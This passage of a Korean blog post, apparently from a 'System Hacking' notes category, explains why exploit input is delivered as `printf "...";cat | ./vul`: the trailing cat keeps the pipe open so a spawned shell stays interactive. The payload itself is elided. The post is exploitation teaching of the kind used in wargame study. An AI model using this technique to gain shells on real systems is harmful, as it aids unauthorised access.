즉 파이프의 연결이 해제가 됩니다.

이 상태에서 자식프로세스로 shell이 뜬다고 해도 입력을 할수 없게 됩니다.

그래서  printf "...";cat | ./vul

이렇게 실행하므로써 

cat | ./vul --> shell

cat이라는 표준 출력 프로그램을 이용해서 shell에게 명령을 내릴수있는 파이프를

연결 유지하기 위함입니다.

파이프의 연결 유지를 위해서 위와 같이 공격을 하는것입니다. ^^

저의 짧은 지식이 답변이 되었는지 모르겠습니다.

저도 pogusm님처럼 스택과 씨름할때가 기억나네요 ^^

즐거운 하루 되세요~


'System Hacking > 정리' 카테고리의 다른 글

IDA 리모트 디버깅 설정  (0) 2015.11.11
소멸자(.dtors) +4 하는 이유  (0) 2015.11.10
/proc/pid/maps  (0) 2015.11.09
; cat 을 쓰는 이유  (0) 2015.11.03
suid 동작  (0) 2015.10.30

+ Recent posts